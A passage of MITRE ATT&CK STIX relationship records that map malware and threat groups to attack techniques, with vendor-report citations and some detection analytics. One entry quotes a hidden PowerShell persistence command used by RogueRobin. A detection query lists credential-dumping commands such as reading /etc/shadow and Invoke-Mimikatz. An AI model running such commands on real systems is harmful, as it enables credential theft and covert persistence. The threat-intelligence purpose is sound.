2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5562f3f-9657-49e8-8243-b5aff51e18a4","created":"2021-01-08T18:49:43.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T18:16:43.589Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) has the ability to write collected data to a file created in the ./LOGS directory.(Citation: FireEye NETWIRE March 2019)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e55f295e-3531-4f53-bd0e-2c51994d8b44","created":"2023-01-04T18:07:55.329Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-04T18:42:06.655Z","description":"[KEYPLUG](https://attack.mitre.org/software/S1051) has used Cloudflare CDN associated infrastructure to redirect C2 communications to malicious domains.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"malware--6c575670-d14c-4c7f-9b9d-fd1b363e255d","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e562688d-a5e3-4a17-95dd-8ef7488e015e","type":"relationship","created":"2021-05-03T19:39:06.514Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Kittens Back 3 August 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf","description":"ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021."}],"modified":"2021-06-02T16:31:56.156Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has created fake LinkedIn and other social media accounts to contact targets and convince them--through messages and voice communications--to open malicious links.(Citation: ClearSky Kittens Back 3 August 2020)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e56386ab-5c44-403a-bfaf-dce6c6129c0c","created":"2024-09-03T16:40:07.320Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T18:29:36.602Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has used a service account to extract copies of the `Security` Registry hive.(Citation: Mandiant_UNC2165)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e56f602c-ec9f-46f0-a52f-45b90220314e","type":"relationship","created":"2021-03-15T18:56:36.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Trickbot Oct 2020","url":"https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/","description":"Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."}],"modified":"2021-03-15T18:56:36.733Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) utilizes EternalBlue and EternalRomance exploits for lateral movement in the modules wormwinDll, wormDll, mwormDll, nwormDll, tabDll.(Citation: ESET Trickbot Oct 2020)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e5706e1a-33a9-4404-9ef8-c8aa428363ec","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"},{"url":"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf","description":"Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.","source_name":"Microsoft SIR Vol 19"}],"modified":"2019-12-20T14:26:01.131Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used CVE-2015-4902 to bypass security features.(Citation: Bitdefender APT28 Dec 2015)(Citation: Microsoft SIR Vol 19)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e5728c4d-d404-44e8-9e28-3411942c5234","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-16T23:56:46.385Z","description":"[FLASHFLOOD](https://attack.mitre.org/software/S0036) stages data it copies from the local system or removable drives in the \"%WINDIR%\\$NtUninstallKB885884$\\\" directory.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e57361ca-1d03-4171-86e2-09f8c32cb319","type":"relationship","created":"2019-01-31T00:36:41.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html","source_name":"Talos Konni May 2017"}],"modified":"2019-07-26T18:47:19.103Z","description":"A version of [KONNI](https://attack.mitre.org/software/S0356) drops a Windows shortcut on the victim’s machine to establish persistence.(Citation: Talos Konni May 2017)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e573b5f1-a3e4-40d3-bd1b-8eecc0b57045","created":"2022-03-30T14:26:51.847Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for files being accessed that could be related to exfiltration, such as file reads by a process that also has an active network connection.","modified":"2022-04-10T17:16:49.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5757ac1-2887-4492-9f9e-3c5e2c9994ff","created":"2022-09-07T14:53:40.997Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:50:27.535Z","description":"For [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors obtained and used [Empire](https://attack.mitre.org/software/S0363).(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e577372f-c3c9-4e12-9bc6-3f6a1faec0ac","type":"relationship","created":"2017-05-31T21:33:27.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","source_name":"Scarlet Mimic Jan 2016"}],"modified":"2019-04-22T15:06:12.729Z","description":"(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7","target_ref":"malware--bb3c1098-d654-4620-bf40-694386d28921","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e579ad2d-41c0-4617-8194-eefd4fe2a676","type":"relationship","created":"2019-07-29T14:31:28.745Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Lee, S. (2019, May 17). CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.","url":"https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/","source_name":"CarbonBlack RobbinHood May 2019"}],"modified":"2020-03-19T19:26:14.540Z","description":"[RobbinHood](https://attack.mitre.org/software/S0400) uses cmd.exe on the victim's computer.(Citation: CarbonBlack RobbinHood May 2019)","relationship_type":"uses","source_ref":"malware--0a607c53-df52-45da-a75d-0e53df4dad5f","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e584ec5f-af99-4d61-8b02-3dbacae4adf4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Ciubotariu 2014","description":"Ciubotariu, M. (2014, January 23). Trojan.Zeroaccess.C Hidden in NTFS EA. Retrieved December 2, 2014.","url":"http://www.symantec.com/connect/blogs/trojanzeroaccessc-hidden-ntfs-ea"}],"modified":"2018-10-17T00:14:20.652Z","description":"Some variants of the [Zeroaccess](https://attack.mitre.org/software/S0027) Trojan have been known to store data in Extended Attributes.(Citation: Ciubotariu 2014)","relationship_type":"uses","source_ref":"malware--552462b9-ae79-49dd-855c-5973014e157f","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e586bf09-9e31-483c-b935-8341f934e22f","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-12T18:53:41.583Z","description":"Monitor executed commands and arguments that may attempt to dump credentials using tools like [Mimikatz](https://attack.mitre.org/software/S0002), ProcDump, NTDSUtil, or accessing /proc, /etc/passwd, and /etc/shadow. \n\nAnalytic 1 - Suspicious command execution involving credential dumping tools.\n(index=security sourcetype=\"WinEventLog:Security\" EventCode=4688 Image IN (\"*mimikatz.exe\", \"*procdump.exe\", \"*ntdsutil.exe\", \"*powershell.exe\") CommandLine IN (\"*Invoke-Mimikatz*\", \"*Invoke-CachedCredentials*\", \"*Invoke-LSADump*\", \"*Invoke-SAMDump*\"))\nOR\n(index=security sourcetype=\"linux_secure\" Command IN (\"cat /etc/passwd\", \"cat /etc/shadow\", \"grep -E '^[0-9a-f-]* r' /proc/*/maps\"))\nOR\n(index=security sourcetype=\"macOS:UnifiedLog\" process IN (\"cat\", \"grep\") message IN (\"/etc/passwd\", \"/etc/shadow\", \"/var/db/shadow/hash/*\", \"/private/etc/master.passwd\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e586e3c7-ed6b-4f6b-92e8-031f0acc84ef","type":"relationship","created":"2020-05-13T19:39:41.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."},{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."},{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-22T16:49:46.916Z","description":"[Molerats](https://attack.mitre.org/groups/G0021) has sent malicious files via email that tricked users into clicking Enable Content to run an embedded macro and to download malicious archives.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020)(Citation: Cybereason Molerats Dec 2020)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e58abef6-2089-4f55-b5ee-9fc24378b52f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","source_name":"Unit 42 DarkHydrus July 2018"},{"source_name":"Unit42 DarkHydrus Jan 2019","url":"https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/","description":"Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."},{"url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","source_name":"Unit 42 DarkHydrus July 2018"}],"modified":"2020-03-18T20:03:52.989Z","description":"[RogueRobin](https://attack.mitre.org/software/S0270) uses a command prompt to run a PowerShell script from Excel.(Citation: Unit 42 DarkHydrus July 2018) To assist in establishing persistence, [RogueRobin](https://attack.mitre.org/software/S0270) creates %APPDATA%\\OneDrive.bat and saves the following string to it:powershell.exe -WindowStyle Hidden -exec bypass -File “%APPDATA%\\OneDrive.ps1”.(Citation: Unit42 DarkHydrus Jan 2019)(Citation: Unit 42 DarkHydrus July 2018)","relationship_type":"uses","source_ref":"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e58bc387-6540-4976-8c12-73ddf15084ed","created":"2023-03-02T18:43:13.006Z","revoked":false,"external_references":[{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-02T18:43:13.006Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) can execute commands on a compromised network with the use of `cmd.exe`.(Citation: Microsoft BlackCat Jun 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e590aaaa-40fd-4f61-93f3-f2d6daee65a4","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"}],"modified":"2019-04-29T18:01:20.401Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has a tool that can enumerate the permissions associated with Windows groups.(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e590c381-4589-4f02-9da4-7b9743f0da4e","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T17:30:48.841Z","description":"Monitor for unusual kernel driver installation activity.\n\nAnalytic 1 - Unexpected kernel driver installations.\n\n index=security sourcetype=\"WinEventLog:System\" EventCode=7045 | where match(Service_Name, \"(?i)(keylogger|input|capture|sniff|monitor|keyboard|logger|driver)\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e597058d-ca4b-48e8-b924-8f1e8db34dc0","type":"relationship","created":"2022-03-07T19:26:13.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."},{"source_name":"Trend Micro Cyclops Blink March 2022","url":"https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html","description":"Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022."}],"modified":"2022-03-17T15:48:24.877Z","description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) can download files via HTTP and HTTPS.(Citation: NCSC Cyclops Blink February 2022)(Citation: Trend Micro Cyclops Blink March 2022)","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e59eafd8-6579-4ca0-b357-6df989142449","created":"2024-02-21T19:40:47.712Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Arctic Wolf Akira 2023","description":"Steven Campbell, Akshay Suthar, & Connor Belfiorre. (2023, July 26). Conti and Akira: Chained Together. Retrieved February 20, 2024.","url":"https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-22T21:06:10.505Z","description":"(Citation: Arctic Wolf Akira 2023)","relationship_type":"uses","source_ref":"intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d","target_ref":"tool--59096109-a1dd-463b-87e7-a8d110fe3a79","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5a20948-878d-4853-ba7a-d49eae0cbae9","created":"2024-01-18T18:31:14.263Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-18T18:31:14.263Z","description":"[Ninja](https://attack.mitre.org/software/S1100) can encode C2 communications with a base64 algorithm using a custom alphabet.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e5a2a20c-1ef7-49a9-a9fa-2b89231793b8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto T9000 Feb 2016","description":"Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}],"modified":"2020-03-30T03:07:37.853Z","description":"[T9000](https://attack.mitre.org/software/S0098) uses the Skype API to record audio and video calls. It writes encrypted data to %APPDATA%\\Intel\\Skype.(Citation: Palo Alto T9000 Feb 2016)","relationship_type":"uses","source_ref":"malware--876f6a77-fbc5-4e13-ab1a-5611986730a3","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e5a4c386-e9c0-4b59-b1da-1acfece17977","created":"2023-03-06T21:20:54.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA505 Jan 2019","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T20:55:11.719Z","description":"[ServHelper](https://attack.mitre.org/software/S0382) has added a user named \"supportaccount\" to the Remote Desktop Users and Administrators groups.(Citation: Proofpoint TA505 Jan 2019)","relationship_type":"uses","source_ref":"malware--aae22730-e571-4d17-b037-65f2a3e26213","target_ref":"attack-pattern--3e6831b2-bf4c-4ae6-b328-2e7c6633b291","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e5a87e35-79ed-4903-9f68-7d762b02162d","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Monitor executed commands and arguments that may attempt to gather information about attached peripheral devices and components connected to a computer 